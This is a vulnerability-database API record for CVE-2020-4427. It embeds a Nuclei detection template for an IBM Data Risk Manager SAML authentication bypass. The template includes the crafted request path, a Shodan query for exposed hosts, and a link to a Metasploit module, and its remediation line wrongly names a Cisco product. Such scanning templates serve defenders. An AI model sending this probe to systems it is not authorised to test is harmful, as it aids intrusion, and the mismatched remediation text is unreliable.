{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-4427/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-4427/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-4427/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-4427/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-4427/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-4427"},"sightings":{"href":"/api/v1/sightings/cve-2020-4427"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-4427.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-4427\n\ninfo:\n  name: IBM Data Risk Manager - Authentication Bypass via SAML\n  author: ritikchaddha\n  severity: critical\n  description: |\n    IBM Data Risk Manager versions 2.0.1 through 2.0.6 are vulnerable to authentication bypass when configured with SAML authentication. A remote attacker can bypass security restrictions by sending a specially crafted HTTP request to the SAML idpSelection endpoint, allowing them to bypass the authentication process and gain full administrative access to the system.\n  impact: |\n    Unauthenticated attackers can bypass authentication via SAML endpoint and gain full administrative access to IBM Data Risk Manager, compromising all managed data risk information.\n  remediation: |\n    Apply the latest security updates and patches provided by Cisco for HyperFlex HX.\n  reference:\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/ibm_drm_rce.rb\n    - https://seclists.org/fulldisclosure/2020/Apr/33\n    - https://www.ibm.com/support/pages/node/6206875\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-4427\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-4427\n    cwe-id: CWE-287\n    epss-score: 0.70031\n    epss-percentile: 0.99345\n    cpe: cpe:2.3:a:ibm:data_risk_manager:*:*:*:*:*:*:*:*\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: ibm\n    product: data_risk_manager\n    shodan-query: title:\"IBM Data Risk Manager\"\n  tags: cve,cve2020,ibm,saml,auth-bypass,kev,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/albatross/saml/idpSelection?id={{randstr}}&userName=admin\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: location\n        words:\n          - \"localhost:8765\"\n          - \"saml/idpSelection\"\n        condition: and\n\n      - type: status\n        status:\n          - 302\n\n    extractors:\n      - type: kval\n        part: header\n        kval:\n          - location\n# digest: 4a0a00473045022100cc84eba99a3986a3a86b929b98136667a1dd1b5ae45c09e08f94545bf85e68de02203aea06360e45adbaf11f146eed8638f1dfdb497c63a24bc29f060ec52136e23b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-4427"}